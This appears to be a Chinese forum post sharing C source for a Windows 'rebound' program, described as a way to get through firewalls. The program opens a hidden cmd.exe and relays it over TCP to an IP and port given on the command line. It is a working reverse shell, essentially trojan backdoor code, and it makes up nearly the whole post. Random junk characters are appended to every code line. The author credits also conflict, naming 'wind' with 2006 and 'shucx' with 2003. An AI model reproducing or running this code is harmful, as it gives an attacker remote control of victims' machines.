这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ]q#"8=
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/* ============================== UM1h[#?&V)
Rebound port in Windows NT 5[6{o$I
By wind,2006/7 4M$"0}O;[h
===============================*/ ^~B#r#
#include WYvcN8F
#include f#38QP-T
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#pragma comment(lib,"wsock32.lib") gBgaVG
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void OutputShell(); tR=1.M96Y
SOCKET sClient; =?M{B1;H
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ?YFSK
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void main(int argc,char **argv) AGlFbc(L
{ UZJs!#P
WSADATA stWsaData; m2%
int nRet; 41C6ey
SOCKADDR_IN stSaiClient,stSaiServer; gf;B&MM6
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if(argc != 3) &)Vuh=
{ T~lHm
printf("Useage:\n\rRebound DestIP DestPort\n"); _y [B/C,q
return; #cl|5jm+m#
} IjPtJwW`A
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WSAStartup(MAKEWORD(2,2),&stWsaData); _Pw5n
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gfXit$s
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stSaiClient.sin_family = AF_INET; KjV1->r#
stSaiClient.sin_port = htons(0); +nFC&~q
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); of_Om$
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 7?Twhs.O
{ GKXd"8z]
printf("Bind Socket Failed!\n"); od/Q"5t[p
return; UnTvot6~
} *]S&V'Di
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stSaiServer.sin_family = AF_INET; ,7Q b24A
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); mj& 4FQ#O*
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Wh?3vZ^
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) *kGk.a=
{ |r`0< `
printf("Connect Error!"); FPAj}as
return; p?<T
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} x]"N:t
OutputShell(); L# .vbf
} Ap(>mUs!i
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void OutputShell() ' '|R$9\@
{ !y;xt?
char szBuff[1024]; vcp[$-$QGJ
SECURITY_ATTRIBUTES stSecurityAttributes; G$iC@,/
OSVERSIONINFO stOsversionInfo; V(!-xu1,
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 78zwu<ET
STARTUPINFO stStartupInfo; D89(u.h
char *szShell; I|P#|0< 2
PROCESS_INFORMATION stProcessInformation; ;0 9~#Wop
unsigned long lBytesRead; ftqeiZ
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 2$>
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Z-'xJq
stSecurityAttributes.lpSecurityDescriptor = 0; :W}M$5 |
stSecurityAttributes.bInheritHandle = TRUE; {dNWQE*\c
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Ei\tn`I&
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ^s3 SzB@
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); &_<!zJ;Hn
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^14a[ta/'
stStartupInfo.wShowWindow = SW_HIDE; Z'\{hL S
stStartupInfo.hStdInput = hReadPipe; `< cn
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; iFB {a?BE
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GetVersionEx(&stOsversionInfo); ~&8bVA= .
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switch(stOsversionInfo.dwPlatformId) uKpWb1(
{ 6tT*b@/_o
case 1: CDDOm8
szShell = "command.com"; E<4'4)FHuQ
break; @]:GTrs
default: ^U{SUWl
szShell = "cmd.exe"; j |:{ B
break; lZhd^69y
} j?oh~7Ki
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); %@x.km3e2
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send(sClient,szMsg,77,0); ~*^aCuq\
while(1) >Byxb./*
{ 47^R
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); UZ 6:vmcT
if(lBytesRead) Ab)X/g-I@
{ L3^+`e
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5(&'/U^
send(sClient,szBuff,lBytesRead,0); U=\!`_f':
} kmF@u@5M
else >_LZD4v!<
{ H6%%n
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lBytesRead=recv(sClient,szBuff,1024,0); CUZ
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if(lBytesRead<=0) break; \6c8Lqa
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); t8upS
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} Yuqt=\? #
} fg0zD:@rA
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return; xe!6Pgcb
}